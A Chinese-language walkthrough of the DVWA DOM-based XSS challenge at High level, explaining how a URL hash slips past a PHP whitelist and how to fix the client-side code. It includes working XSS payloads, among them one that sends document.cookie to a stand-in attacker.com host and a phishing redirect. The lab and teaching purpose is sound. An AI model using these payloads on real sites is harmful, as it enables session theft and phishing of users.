文章目录
-
- 一、High 级别防护分析
-
- 1.1 PHP 层防护代码
- 1.2 防护机制
- 1.3 防护缺陷
- 二、客户端代码分析
- 三、攻击原理
-
- 3.1 URL Hash 特性
- 3.2 攻击思路
- 3.3 为什么 Hash 能绕过
- 四、攻击过程
-
- 4.1 成功 Payload
- 4.2 Payload 分解
- 4.3 执行流程
- 五、更多 High 级别 Payload
-
- 5.1 基础弹窗
- 5.2 窃取 Cookie
- 5.3 重定向攻击
- 5.4 使用 `<svg>` 标签
- 六、Low vs Medium vs High 对比
- 七、漏洞修复建议
-
- 7.1 修复客户端代码(根本修复)
- 7.2 使用安全的 DOM API
- 7.3 PHP 层增强
- 八、总结
-
- 8.1 High 级别防护的缺陷
- 8.2 攻击要点
- 8.3 安全启示
- 8.4 为什么 High 级别仍然有漏洞
一、High 级别防护分析
1.1 PHP 层防护代码
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null( $_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
1.2 防护机制
| 防护方式 | 白名单验证 |
| 允许值 | English, French, German, Spanish |
| 防护措施 | 不在白名单中则重定向到 ?default=English |
1.3 防护缺陷
二、客户端代码分析
High 级别的客户端 JavaScript 代码与 Low/Medium 级别完全相同:
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>—-</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
关键问题:
- document.location.href 包含 完整的 URL,包括 hash (#) 部分
- 代码从 URL 中查找 default= 并提取其后的所有内容
- hash 部分不会发送到服务器,但客户端 JS 可以读取
三、攻击原理
3.1 URL Hash 特性
| ?default=English | 是 | 是 |
| #payload | 否 | 是 |
3.2 攻击思路
URL: http://target.com/xss_d/?default=English#<恶意payload>
↓
服务器接收: GET /xss_d/?default=English
↓
PHP 检查: $_GET['default'] = "English" → 在白名单中 → 通过
↓
浏览器加载页面,JS 执行:
document.location.href = "http://target.com/xss_d/?default=English#<恶意payload>"
↓
JS 提取: lang = "English#<恶意payload>"
↓
document.write 执行: 恶意 payload 被写入 HTML
↓
XSS 攻击成功
3.3 为什么 Hash 能绕过
四、攻击过程
4.1 成功 Payload
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#</option></select><img src=x onerror=alert('XSS_High')>
URL 编码后(hash 部分需要编码,= 不编码):
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert(%27XSS_High%27)%3E
4.2 Payload 分解
| ?default=English | 通过 PHP 白名单验证 | 否 |
| # | Hash 分隔符,后面的内容不发送到服务器 | 否 |
| %3C/option%3E | 闭合 <option> 标签 | 是 |
| %3C/select%3E | 闭合 <select> 标签 | 是 |
| %3Cimg%20src=x | 注入图片标签 | 是 |
| onerror=alert('XSS_High') | 事件处理器,= 不编码 | 部分 |
| %3E | 闭合 <img> 标签 | 是 |
4.3 执行流程
1. 浏览器请求: GET /DVWA/vulnerabilities/xss_d/?default=English
(hash 部分不发送)
2. PHP 检查: $_GET['default'] = "English" → 在白名单中 → 允许通过
3. 页面加载,JS 执行:
document.location.href = "…xss_d/?default=English#%3C/option%3E…"
4. JS 提取:
lang = "English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert('XSS_High')%3E"
5. decodeURI(lang) = "English#</option></select><img src=x onerror=alert('XSS_High')>"
6. document.write 写入:
<option value='English#…'>English#</option></select><img src=x onerror=alert('XSS_High')></option>
7. 浏览器解析:
– <option value='English#…'> — option 开始
– English# — text 内容
– </option> — 闭合 option
– </select> — 闭合 select
– <img src=x onerror=alert('XSS_High')> — 渲染并触发 onerror 事件
8. XSS 攻击成功
五、更多 High 级别 Payload
5.1 基础弹窗
?default=English#</option></select><img src=x onerror=alert('XSS_High')>
5.2 窃取 Cookie
?default=English#</option></select><img src=x onerror=window.location='http://attacker.com/?c='+document.cookie>
5.3 重定向攻击
?default=English#</option></select><img src=x onerror=window.location='http://phishing.com'>
5.4 使用 <svg> 标签
?default=English#</option></select><svg onload=alert('XSS_High')>
六、Low vs Medium vs High 对比
| PHP 层防护 | 无 | 黑名单 <script | 白名单验证 |
| 客户端代码 | 未修改 | 未修改 | 未修改 |
| 攻击难度 | 简单 | 中等 | 较难 |
| 绕过方法 | 直接注入 | HTML 事件处理器 | URL Hash |
| 关键技巧 | 无 | = 不编码 | # 不发送到服务器 |
七、漏洞修复建议
7.1 修复客户端代码(根本修复)
// 方法 1: 只读取 URL 参数,不包括 hash
const urlParams = new URLSearchParams(window.location.search);
const lang = urlParams.get('default');
// 方法 2: 白名单验证
const allowed = ['English', 'French', 'Spanish', 'German'];
if (allowed.includes(lang)) {
const option = document.createElement('option');
option.value = lang;
option.textContent = lang;
select.appendChild(option);
}
7.2 使用安全的 DOM API
// 避免 document.write,使用安全的 DOM 操作
const select = document.querySelector('select[name="default"]');
const allowed = ['English', 'French', 'Spanish', 'German'];
if (allowed.includes(lang)) {
const option = document.createElement('option');
option.value = lang;
option.textContent = lang; // textContent 自动转义
select.appendChild(option);
}
7.3 PHP 层增强
// 检查完整 URL,包括可能的 hash 注入(虽然 PHP 看不到 hash)
// 但可以在输出时进行 HTML 编码
$default = htmlspecialchars($_GET['default'], ENT_QUOTES, 'UTF-8');
八、总结
8.1 High 级别防护的缺陷
| 只防护服务器端 | PHP 白名单只检查 $_GET 参数 |
| 忽略客户端漏洞 | 客户端 JS 代码未修改,仍然有漏洞 |
| URL Hash 盲区 | Hash 部分不发送到服务器,但客户端 JS 可以读取 |
8.2 攻击要点
| 利用 URL Hash | # 后面的内容不发送到服务器 |
| 绕过 PHP 白名单 | ?default=English 通过白名单 |
| 客户端 JS 漏洞 | document.location.href 包含完整 URL |
| 跳出 select 上下文 | </option></select> 闭合标签 |
| = 不编码 | 确保浏览器正确解析事件处理器 |
8.3 安全启示
8.4 为什么 High 级别仍然有漏洞
High 级别的开发者犯了一个常见错误:只修复了服务器端,忽略了客户端。
- PHP 白名单阻止了恶意参数值
- 但客户端 JS 仍然从完整 URL 读取数据
- URL hash 部分绕过了 PHP 检查
- 客户端 JS 将 hash 内容写入 DOM
根本原因:客户端 JS 代码没有修改,仍然使用不安全的 document.location.href 和 document.write。



